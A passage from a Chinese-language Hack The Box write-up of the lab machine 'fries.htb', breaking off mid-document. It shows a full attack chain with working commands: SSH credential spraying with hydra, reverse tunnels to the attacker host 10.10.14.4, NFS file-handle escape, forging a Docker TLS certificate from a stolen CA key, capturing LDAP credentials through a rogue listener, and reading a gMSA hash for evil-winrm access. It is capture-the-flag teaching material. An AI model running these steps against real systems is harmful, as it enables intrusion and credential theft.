\/><\/p>\n<h2>\u7206\u7834\u7528\u6237\u540d\u767b\u5f55SSH<\/h2>\n<p>\u6210\u529f\u6536\u5230\u53cd\u5f39<code>Shell<\/code>\u540e\uff0c\u5728\u5bb9\u5668\u5185\u8fdb\u884c\u76ee\u5f55\u4fe1\u606f\u6536\u96c6\uff0c\u4f46\u672a\u53d1\u73b0\u4efb\u4f55\u53ef\u7591\u4fe1\u606f\u3002\u5c1d\u8bd5\u67e5\u770b\u5f53\u524d\u7528\u6237\u73af\u5883\u53d8\u91cf\uff1a<\/p>\n<pre><code class=\"language-shell\">env<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764158827341-d8447e4e-c220-49ba-906c-8335b79e5e85.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u5bc6\u7801\uff1a<code>Friesf00Ds2025!!<\/code>\uff0c\u4f46\u672a\u627e\u5230\u8be5\u5bc6\u7801\u5bf9\u5e94\u7684\u7528\u6237\u3002\u5c1d\u8bd5\u4f7f\u7528\u7528\u6237\u540d\u5b57\u5178\u5bf9<code>SSH<\/code>\u670d\u52a1\u8fdb\u884c\u51ed\u636e\u55b7\u6d12\uff08\u5b57\u5178\u4f7f\u7528<code>\/usr\/share\/wordlists\/dirb\/common.txt<\/code>\uff09<\/p>\n<pre><code class=\"language-shell\">hydra -L \/usr\/share\/wordlists\/dirb\/common.txt -p 'Friesf00Ds2025!!' -t 60 ssh:\/\/dc01.fries.htb<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764161688040-635c5100-9699-465a-bef1-f6da34b0c467.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u7528\u6237\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>svc<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>Friesf00Ds2025!!<\/code><\/li>\n<\/ul>\n<p>\u76f4\u63a5\u767b\u5f55<code>SSH<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">ssh svc@fries.htb<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764161870208-0fdec911-cd10-48fa-a51e-e67c8794bf0e.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\uff01<\/p>\n<h2>Linux NTP\u5371\u9669\u914d\u7f6e\u5229\u7528<\/h2>\n<p>\u767b\u5f55\u865a\u62df\u673a<code>svc<\/code>\u7528\u6237\u540e\uff0c\u5c1d\u8bd5\u8fdb\u884c\u76ee\u5f55\u4fe1\u606f\u6536\u96c6\uff0c\u4f46\u672a\u53d1\u73b0\u654f\u611f\u4fe1\u606f\uff0c\u9042\u4e0a\u4f20<code>linpeas.sh<\/code>\u5de5\u5177\u8fdb\u884c\u64cd\u4f5c\u7cfb\u7edf\u679a\u4e3e\uff1a<\/p>\n<pre><code class=\"language-shell\">scp -P 22222 misaka19008@10.10.14.4:\/usr\/share\/peass\/linpeas\/linpeas.sh \/home\/svc\/linpeas.sh\n.\/linpeas.sh &gt; .\/linpeas_result.txt<\/code><\/pre>\n<p>\u5c06\u7ed3\u679c\u4e0b\u8f7d\u5230\u672c\u5730\u540e\uff0c\u4f7f\u7528<code>cat<\/code>\u547d\u4ee4\u6253\u5f00\u67e5\u770b\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764211420387-dd2aed16-e17f-4082-bb84-a9a2ab2d2456.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764211381022-2b49be20-c0b8-4a89-8525-1e8660955c18.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764211651706-db6455f3-489e-4195-8f21-3322dfb92519.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5f53\u524d\u865a\u62df\u673a\u4e3a<code>Docker<\/code>\u5bbf\u4e3b\u673a\uff0c\u4e14<code>PWM<\/code>\u5bc6\u7801\u7ba1\u7406\u7cfb\u7edf\u8fd0\u884c\u5728\u5bb9\u5668\u5185\uff1b\u9664\u6b64\u4e4b\u5916\uff0c\u9776\u673a\u8fd8\u5f00\u653e\u4e86<code>NFS<\/code>\u7f51\u7edc\u6587\u4ef6\u670d\u52a1\u3002\u7ecf\u5206\u6790\u7814\u5224\uff0c\u51b3\u5b9a\u4e0a\u4f20<code>iox<\/code>\u96a7\u9053\u4ee3\u7406\u5de5\u5177\uff0c\u5efa\u7acb\u52a8\u6001\u7aef\u53e3\u8f6c\u53d1\u8fdb\u800c\u679a\u4e3e<code>NFS<\/code>\u670d\u52a1\u3002<a href=\"https:\/\/github.com\/EddieIvan01\/iox\/releases\/download\/v0.4\/iox_v0.4-next_Linux_x86_64.tar.gz\" target=\"_blank\"  rel=\"nofollow\" >GitHub - EddieIvan01\/iox: Tool for port forwarding &amp; intranet proxy<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764211892274-fe0d665b-2a41-4ffe-8b52-6191d9d42f6c.png\" alt=\"\" \/><\/p>\n<pre><code class=\"language-shell\"># \u5728\u653b\u51fb\u673a\u4e0a\u6267\u884c\n.\/iox proxy -l *2222 -l 1080 -k 314159\n# \u5728\u9776\u673a\u4e0a\u6267\u884c\n.\/iox proxy -r *10.10.14.4:2222 -k 314159<\/code><\/pre>\n<p>\u7aef\u53e3\u8f6c\u53d1\u5efa\u7acb\u5b8c\u6210\u540e\uff0c\u4f7f\u7528<code>showmount<\/code>\u5de5\u5177\u67e5\u770b\u5171\u4eab\uff1a<\/p>\n<pre><code class=\"language-shell\">proxychains4 -q showmount -e 192.168.100.2<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764212681916-d98520b7-0012-4323-8663-f460b7369c98.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5171\u4eab\u76ee\u5f55\u4e3a<code>\/srv\/web.fries.htb<\/code>\uff0c\u76f4\u63a5\u6267\u884c<code>ls<\/code>\u547d\u4ee4\u67e5\u770b\uff1a<\/p>\n<pre><code class=\"language-shell\">ls -lA \/srv\/web.fries.htb<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764212777911-6a8a9a47-ae0c-4bbd-a539-26fde1afc5d6.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5b58\u5728<code>certs<\/code>\u3001<code>shared<\/code>\u548c<code>webroot<\/code>\u4e09\u4e2a\u76ee\u5f55\uff0c\u5176\u4e2d<code>shared<\/code>\u4e3a\u7a7a\u76ee\u5f55\uff0c<code>webroot<\/code>\u4e3a\u7f51\u7ad9\u76ee\u5f55\uff0c<code>certs<\/code>\u65e0\u6743\u8bbf\u95ee\u3002<\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>nfs-security-tooling<\/code>\u5de5\u5177\u5305\u8fdb\u4e00\u6b65\u679a\u4e3e<code>NFS<\/code>\u670d\u52a1\u5371\u9669\u914d\u7f6e\uff08\u9700\u4f7f\u7528<code>pipx<\/code>\u5b89\u88c5\uff09\uff1a<a href=\"https:\/\/github.com\/hvs-consulting\/nfs-security-tooling\" target=\"_blank\"  rel=\"nofollow\" >GitHub - hvs-consulting\/nfs-security-tooling: Detect common NFS server misconfigurations<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764212993338-826e70ee-e133-4801-acb1-62066566e732.png\" alt=\"\" \/><\/p>\n<p>\u5728\u679a\u4e3e\u524d\uff0c\u9700\u8981\u5c06\u9776\u673a<code>127.0.0.1:111<\/code>\u548c<code>127.0.0.1:2049<\/code>\u4e24\u4e2a\u7aef\u53e3\u8f6c\u53d1\u5230\u672c\u5730\uff1a<\/p>\n<pre><code class=\"language-shell\"># \u653b\u51fb\u673a\u6267\u884c\n.\/iox fwd -l *2223 -l 111 -k 314159\n.\/iox fwd -l *2224 -l 2049 -k 314159\n# \u9776\u673a\u6267\u884c\n.\/iox fwd -r 127.0.0.1:111 -r *10.10.14.4:2223 -k 314159\n.\/iox fwd -r 127.0.0.1:2049 -r *10.10.14.4:2224 -k 314159<\/code><\/pre>\n<p>\u968f\u540e\u8fd0\u884c<code>nfs_analyze<\/code>\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-shell\">\/opt\/pipx_data\/bin\/nfs_analyze 127.0.0.1<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764214519988-0c3d538b-9612-4139-81a5-0d096a63e958.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u9776\u673a<code>NFS<\/code>\u5171\u4eab<code>\/srv\/web.fries.htb<\/code>\u53ef\u8fdb\u884c\u8de8\u76ee\u5f55\u6587\u4ef6\u8bbf\u95ee\u3002<code>Root<\/code>\u6743\u9650\u6587\u4ef6\u53e5\u67c4\u4e3a\uff1a<code>0100070201000a00000000008a01da16c18a400cbc9b37e3567d3fba02000000000000000200000000000000<\/code><\/p>\n<p>\u76f4\u63a5\u4f7f\u7528<code>fuse_nfs<\/code>\u8de8\u76ee\u5f55\u6302\u8f7d\uff1a<\/p>\n<pre><code class=\"language-shell\">\/opt\/pipx_data\/bin\/fuse_nfs .\/172_18_0_1-nfs 127.0.0.1 --manual-fh \"0100070201000a00000000008a01da16c18a400cbc9b37e3567d3fba02000000000000000200000000000000\" --fake-uid --allow-write<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764219609849-77ca7ae3-cdec-421d-91fc-f6412600bbe1.png\" alt=\"\" \/><\/p>\n<h2>Docker HTTPS API\u8bc1\u4e66\u4f2a\u9020<\/h2>\n<p>\u76ee\u5f55\u6302\u8f7d\u5b8c\u6210\u540e\uff0c\u518d\u6b21\u67e5\u770b<code>\/srv\/web.fries.htb\/certs<\/code>\u76ee\u5f55\uff0c\u53d1\u73b0\u76ee\u5f55\u5185\u5b58\u653e\u4e86\u4e00\u4e9b<code>SSL<\/code>\u8bc1\u4e66\u3002\u76f4\u63a5\u5c06\u6574\u4e2a\u6587\u4ef6\u5939\u4e0b\u8f7d\u5230\u672c\u5730\uff0c\u5e76\u67e5\u770b\u8bc1\u4e66\u4fe1\u606f\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764289077341-75aa7a9a-8113-42d4-a8f5-96af4d068273.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8fd9\u4e9b\u8bc1\u4e66\u4e3a<code>Docker HTTPS API<\/code>\u7684<code>SSL<\/code>\u8bc1\u4e66\uff0c\u7b7e\u53d1\u673a\u6784\u4e3a<code>DockerCA<\/code>\uff0c\u5e38\u7528\u540d\u4e3a<code>fries<\/code>\u3002<\/p>\n<p>\u67e5\u770b<code>Docker<\/code>\u9274\u6743\u6a21\u5757<code>authz-broker<\/code>\u7684\u914d\u7f6e\u6587\u4ef6<code>policy.json<\/code>\uff0c\u53d1\u73b0<code>fries<\/code>\u7528\u6237\u4e0d\u5728\u914d\u7f6e\u6587\u4ef6\u4e2d\uff0c\u65e0\u6743\u8bbf\u95ee<code>Docker API<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">cat \/var\/lib\/authz-broker\/policy.json<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764289383184-0a0a2a3d-fb9e-4f42-a548-bf8b2d2df9c7.png\" alt=\"\" \/><\/p>\n<p>\u8fd8\u53d1\u73b0\u53ea\u6709<code>root<\/code>\u7528\u6237\u62e5\u6709\u5bf9<code>Docker<\/code>\u7684\u5b8c\u5168\u63a7\u5236\u6743\u3002\u7531\u4e8e\u6211\u4eec\u5df2\u7ecf\u83b7\u5f97\u4e86<code>Docker HTTPS API<\/code>\u7684<code>Root CA<\/code>\u8bc1\u4e66\u548c\u5ba2\u6237\u7aef\u8bc1\u4e66\u5bc6\u94a5\uff0c\u73b0\u5728\u53ea\u9700\u8981\u901a\u8fc7<code>Root CA<\/code>\u91cd\u65b0\u7b7e\u540d\u4e00\u4efd\u5e38\u7528\u540d\u4e3a<code>root<\/code>\u7684\u5ba2\u6237\u7aef\u8bc1\u4e66\u5373\u53ef\u3002<\/p>\n<p>\u9996\u5148\u751f\u6210\u5ba2\u6237\u7aef<code>PEM<\/code>\u8bc1\u4e66\u7684<code>CSR<\/code>\u7b7e\u540d\u8bf7\u6c42\uff1a<\/p>\n<pre><code class=\"language-shell\">openssl req -subj \"\/CN=root\" -sha256 -new -key server-key.pem -out server_root.csr<\/code><\/pre>\n<p>\u63a5\u7740\u901a\u8fc7<code>Root CA<\/code>\u3001\u65b0\u521b\u5efa\u7684\u7b7e\u540d\u8bf7\u6c42\u548c\u8bc1\u4e66\u914d\u7f6e\u6587\u4ef6<code>server-openssl.cnf<\/code>\u751f\u6210\u5177\u6709<code>root<\/code>\u7528\u6237\u8eab\u4efd\u7684<code>SSL<\/code>\u8bc1\u4e66\uff1a<\/p>\n<pre><code class=\"language-shell\">openssl x509 -req -days 365 -sha256 -in server_root.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out server-cert_root.pem -extfile server-openssl.cnf<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764289969728-1744712c-d515-40d5-ba31-d82efdeb506f.png\" alt=\"\" \/><\/p>\n<p>\u8bc1\u4e66\u521b\u5efa\u6210\u529f\uff01\u63a5\u4e0b\u6765\u628a<code>ca.pem<\/code>\u3001<code>server-cert_root.pem<\/code>\u548c<code>server-key.pem<\/code>\u5168\u90e8\u4e0a\u4f20\u81f3\u9776\u673a<code>\/home\/svc\/.docker\/<\/code>\u76ee\u5f55\u4e0b\uff0c\u5e76\u5206\u522b\u5c06\u5176\u91cd\u547d\u540d\u4e3a<code>ca.pem<\/code>\u3001<code>cert.pem<\/code>\u548c<code>key.pem<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">mkdir .docker &amp;&amp; cd .docker\nwget http:\/\/10.10.14.4\/ca.pem -O ca.pem\nwget http:\/\/10.10.14.4\/server-cert_root.pem -O cert.pem\nwget http:\/\/10.10.14.4\/server-key.pem -O key.pem<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764290177439-d3ce9b6f-6574-4387-96ad-955d68eb7a62.png\" alt=\"\" \/><\/p>\n<p>\u4e0a\u4f20\u5b8c\u6bd5\u540e\u8fd4\u56de\u5bb6\u76ee\u5f55\uff0c\u901a\u8fc7<code>docker<\/code>\u547d\u4ee4\u64cd\u4f5c<code>HTTPS API<\/code>\uff0c\u5217\u51fa\u6b63\u5728\u8fd0\u884c\u7684\u5bb9\u5668\uff1a<\/p>\n<pre><code class=\"language-shell\">docker -H tcp:\/\/127.0.0.1:2376 --tls ps<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764290383191-4a20cdf4-5627-4dd6-8141-1d8c244142ca.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0<code>PWM<\/code>\u5bb9\u5668\u7684<code>ID<\/code>\u4e3a<code>f427ecaa3bdd<\/code>\uff0c\u76f4\u63a5\u6267\u884c<code>docker exec<\/code>\u547d\u4ee4\u8fdb\u5165\u5bb9\u5668\u73af\u5883\uff1a<\/p>\n<pre><code class=\"language-shell\">docker -H tcp:\/\/127.0.0.1:2376 --tls exec -it f427ecaa3bdd \/bin\/bash<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764290532751-1a6d1931-9d26-4bc1-9a4c-3130317d1569.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\uff01<\/p>\n<h2>PWM\u4fee\u6539LDAP\u914d\u7f6e\u6355\u83b7\u51ed\u636e<\/h2>\n<p>\u8fdb\u5165\u5bb9\u5668\u540e\uff0c\u6267\u884c\u76ee\u5f55\u4fe1\u606f\u6536\u96c6\uff0c\u5728<code>\/config<\/code>\u76ee\u5f55\u4e0b\u627e\u5230\u4e86<code>PwmConfiguration.xml<\/code>\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-shell\">ls -lA \/config<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764290772600-b1eb386d-4ae2-499e-83b2-1c02981727bf.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u67e5\u770b\u914d\u7f6e\u6587\u4ef6\uff0c\u6210\u529f\u53d1\u73b0<code>Configuration Editor<\/code>\u7684\u53e3\u4ee4\u54c8\u5e0c\uff1a<code>$2y$04$W1TubX\/9JAqpHlxx7xqXpesUMB2bJMV4dH\/8pXbcul0NgA6ZexGyG<\/code>\uff0c\u54c8\u5e0c\u7c7b\u578b\u4e3a<code>BCrypt<\/code><\/p>\n<pre><code class=\"language-shell\">cat \/config\/PwmConfiguration.xml<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764291005585-f132344f-a026-4bed-912c-1a4fadc193b6.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>hashcat<\/code>\u8fdb\u884c\u7834\u89e3\uff1a<\/p>\n<pre><code class=\"language-shell\">hashcat -m 3200 -a 0 .\/pwm-configpass-hash.txt \/usr\/share\/wordlists\/rockyou.txt --force<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764291285855-86fc15b9-ec7c-4854-991c-60f500b968cb.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u7834\u89e3<code>PWM Configuration Editor<\/code>\u53e3\u4ee4\uff1a<code>rockon!<\/code><\/p>\n<p>\u76f4\u63a5\u767b\u5f55\u914d\u7f6e\u7ba1\u7406\u5668\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764291424371-36369d6a-7426-4817-8e18-d58d9e7d5b08.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\uff01\u7ffb\u770b\u540e\u53f0\u529f\u80fd\uff0c\u53d1\u73b0\u5728<code>LDAP -&gt; LDAP Directories<\/code>\u4e0b\u6709\u7f16\u8f91\u5f53\u524d<code>LDAP<\/code>\u8fde\u63a5\u914d\u7f6e\u7684\u529f\u80fd\uff0c\u867d\u7136\u65e0\u6cd5\u67e5\u770b\u8fde\u63a5\u5bc6\u7801\uff0c\u4f46\u53ef\u4ee5\u7f16\u8f91<code>LDAP<\/code>\u670d\u52a1\u5668\u5730\u5740\uff0c\u8fd8\u5b58\u5728\u6d4b\u8bd5\u8fde\u63a5\u529f\u80fd\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764291558844-a46a4e76-062b-479b-9c74-fd93a6e9a345.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u5728\u672c\u5730\u542f\u52a8<code>netcat<\/code>\uff0c\u76d1\u542c<code>389\/tcp<\/code>\u7aef\u53e3\uff0c\u5e76\u6253\u5f00<code>Wireshark<\/code>\u76d1\u89c6<code>tun0<\/code>\u865a\u62df\u7f51\u5361\uff1a<\/p>\n<pre><code class=\"language-shell\">rlwrap nc -l -p 389 -s 10.10.14.4<\/code><\/pre>\n<p>\u968f\u540e\u4fee\u6539<code>LDAP<\/code>\u670d\u52a1\u5668<code>URI<\/code>\uff0c\u5c06\u5176\u6539\u4e3a\u653b\u51fb\u673a<code>IP<\/code>\uff0c\u70b9\u51fb<code>Test LDAP Profile<\/code>\u6309\u94ae\uff0c\u8ba9<code>PWM<\/code>\u53d1\u9001<code>LDAP<\/code>\u8ba4\u8bc1\u8bf7\u6c42\u5230\u672c\u673a\u4e0a\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764291770160-2377c34e-5abe-464b-8268-3310d8635e38.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764291833443-1c7e57e2-3653-4ec8-a6d1-351b06991dfd.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u6355\u83b7<code>LDAP<\/code>\u8ba4\u8bc1\u8bf7\u6c42\uff0c\u5e76\u53d1\u73b0\u5bbf\u4e3b\u673a\u57df\u8d26\u6237\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u57df\uff1a<code>fries.htb<\/code><\/li>\n<li>\u7528\u6237\u540d\uff1a<code>svc_infra<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>m6tneOMAh5p0wQ0d<\/code><\/li>\n<\/ul>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>crackmapexec<\/code>\u5de5\u5177\u9a8c\u8bc1\u51ed\u636e\uff1a<\/p>\n<pre><code class=\"language-shell\">crackmapexec smb dc01.fries.htb -d fries.htb -u svc_infra -p \"m6tneOMAh5p0wQ0d\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764292077271-394438df-3180-41c6-8ac1-6f6d2b8eb287.png\" alt=\"\" \/><\/p>\n<p><strong>\u53d1\u73b0\u51ed\u636e\u6b63\u786e\uff01\uff01<\/strong><\/p>\n<p>\u7531\u4e8e\u5f53\u524d\u7528\u6237\u65e0\u6cd5\u767b\u5f55<code>WinRM<\/code>\uff0c\u8fdb\u5165\u7b2c\u4e8c\u9636\u6bb5\u670d\u52a1\u63a2\u6d4b\u8fc7\u7a0b\u3002<\/p>\n<h1>\u670d\u52a1\u63a2\u6d4b\uff08\u7b2c\u4e8c\u9636\u6bb5\uff09<\/h1>\n<h2>Active Directory\u7efc\u5408\u679a\u4e3e<\/h2>\n<h3>\u57df\u5185\u5bf9\u8c61RID\u7206\u7834<\/h3>\n<p>\u6210\u529f\u83b7\u5f97\u57df\u7528\u6237<code>svc_infra<\/code>\u51ed\u636e\u540e\uff0c\u5229\u7528<code>impacket-lookupsid<\/code>\u5de5\u5177\u5bf9\u57df\u5185\u5bf9\u8c61\u7684<code>RID<\/code>\u8fdb\u884c\u66b4\u529b\u7834\u89e3\uff1a<\/p>\n<pre><code class=\"language-shell\">ntpdate -s dc01.fries.htb\nimpacket-lookupsid fries.htb\/svc_infra:\"m6tneOMAh5p0wQ0d\"@dc01.fries.htb -domain-sids 40000<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764293102493-9466411a-0741-4302-96f9-b79495d8495c.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u5982\u4e0b\u7528\u6237\uff1a<\/p>\n<pre><code class=\"language-plain\">Administrator\nGuest\nkrbtgt\nDC01$\ngMSA_CA_prod$\nw.earl\nd.cooper\nb.horne\nb.briggs\ns.johnson\nj.hurley\nh.truman\nd.lynch\nl.palmer\nl.johnson\nh.jennings\nsvc_infra\nWEB$\nd.wilson\nm.hannigan<\/code><\/pre>\n<h3>BloodHound\u4fe1\u606f\u6536\u96c6\u5206\u6790<\/h3>\n<p>\u6210\u529f\u83b7\u5f97\u57df\u5185\u7528\u6237\u540d\u540e\uff0c\u5c1d\u8bd5\u8fdb\u884c\u5bc6\u7801\u55b7\u6d12\u3001<code>SMB<\/code>\u679a\u4e3e\u3001<code>Kerberoasting<\/code>\u653b\u51fb\u540e\uff0c\u5747\u672a\u53d6\u5f97\u8fdb\u5c55\uff0c\u9042\u51b3\u5b9a\u901a\u8fc7<code>Bloodhound<\/code>\u6536\u96c6\u57df\u5185\u5173\u7cfb\u4fe1\u606f\uff0c\u8fdb\u884c\u8fdb\u4e00\u6b65\u5206\u6790\u3002<\/p>\n<p>\u6267\u884c\u5982\u4e0b\u547d\u4ee4\u8fdb\u884c\u6536\u96c6\uff1a<\/p>\n<pre><code class=\"language-shell\">ntpdate -s dc01.fries.htb\nbloodhound-python -c All -d fries.htb -u svc_infra -p \"m6tneOMAh5p0wQ0d\" -k -ns 10.10.11.96 -dc dc01.fries.htb --zip<\/code><\/pre>\n<p>\u6536\u96c6\u5b8c\u6210\u540e\uff0c\u542f\u52a8<code>BloodHound CE<\/code>\uff0c\u4e0a\u4f20\u7ed3\u679c\u96c6\u538b\u7f29\u5305\u5206\u6790\u3002\u9996\u5148\u5217\u51fa\u6700\u77ed\u653b\u51fb\u8def\u5f84\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764377113293-896444a8-e1b2-45c9-b972-40e93582f2aa.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u9776\u673a\u57df\u63a7\u673a\u5668\u8d26\u6237<code>DC01<\/code>\u914d\u7f6e\u4e86\u4fe1\u4efb\u4efb\u4f55\u670d\u52a1\u7684\u975e\u7ea6\u675f\u59d4\u6d3e\uff0c\u4e14\u53ef\u4ee5\u8fdb\u884c<code>CoerceToTGT<\/code>\u653b\u51fb\u3002<\/p>\n<p>\u76f4\u63a5\u641c\u7d22<code>svc_infra<\/code>\u8d26\u6237\uff0c\u70b9\u51fb\u67e5\u770b\u8be6\u7ec6\u4fe1\u606f\uff0c\u53d1\u73b0\u5f53\u524d\u8d26\u6237\u53ef\u4ee5\u8bfb\u53d6\u7ec4\u6258\u7ba1\u8d26\u6237<code>gMSA_CA_prod<\/code>\u7684\u5bc6\u7801\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764378436520-898bd7f5-ae63-4130-9920-7f03b87402a0.png\" alt=\"\" \/><\/p>\n<p>\u800c<code>gMSA_CA_prod<\/code>\u8d26\u6237\u5904\u4e8e<code>Remote Management Users<\/code>\u7ec4\u5185\uff0c\u53ef\u4ee5\u767b\u5f55<code>WinRM<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764378526305-6fd622d5-e3ee-43ea-aab3-025ca24b942b.png\" alt=\"\" \/><\/p>\n<p>\u51b3\u5b9a\u901a\u8fc7\u5f53\u524d\u7528\u6237\u7684<code>ReadGMSAPassword<\/code>\u6743\u9650\u8bfb\u53d6\u7ec4\u6258\u7ba1\u8d26\u6237\u7684\u5bc6\u7801\uff0c\u968f\u540e\u5229\u7528\u7ec4\u6258\u7ba1\u8d26\u6237\u7684<code>WinRM<\/code>\u6743\u9650\u767b\u5f55\u9776\u673a\u63d0\u6743\u3002<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5\uff08\u7b2c\u4e8c\u9636\u6bb5\uff09<\/h1>\n<h2>ReadGMSAPassword\u6743\u9650\u5229\u7528<\/h2>\n<p>\u5728\u7b2c\u4e8c\u9636\u6bb5\u7684\u670d\u52a1\u63a2\u6d4b\u4e2d\uff0c\u6211\u4eec\u5df2\u7ecf\u53d1\u73b0\u5f53\u524d\u7528\u6237<code>svc_infra<\/code>\u5bf9<code>gMSA_CA_prod<\/code>\u7528\u6237\u6709\u8bfb\u53d6\u5bc6\u7801\u6743\u9650\uff0c\u73b0\u5728\u4f7f\u7528<code>netexec<\/code>\u5de5\u5177\u8fdb\u884c\u5229\u7528\uff1a<\/p>\n<pre><code class=\"language-shell\">netexec ldap -d fries.htb -u svc_infra -p \"m6tneOMAh5p0wQ0d\" -k --gmsa dc01.fries.htb<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764378921854-22552df6-5d37-464f-88ca-35c6b4b23457.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u83b7\u5f97<code>gMSA_CA_prod<\/code>\u7528\u6237\u54c8\u5e0c\u503c\uff1a<code>fc20b3d3ec179c5339ca59fbefc18f4a<\/code>\uff01<\/p>\n<p>\u76f4\u63a5\u4f7f\u7528<code>evil-winrm<\/code>\u767b\u5f55\uff1a<\/p>\n<pre><code class=\"language-shell\">evil-winrm -i dc01.fries.htb -u 'gMSA_CA_prod$' -H \"fc20b3d3ec179c5339ca59fbefc18f4a\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764379216334-388f1cf2-f445-4cf9-9286-f7ed7df26e2f.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>ADCS 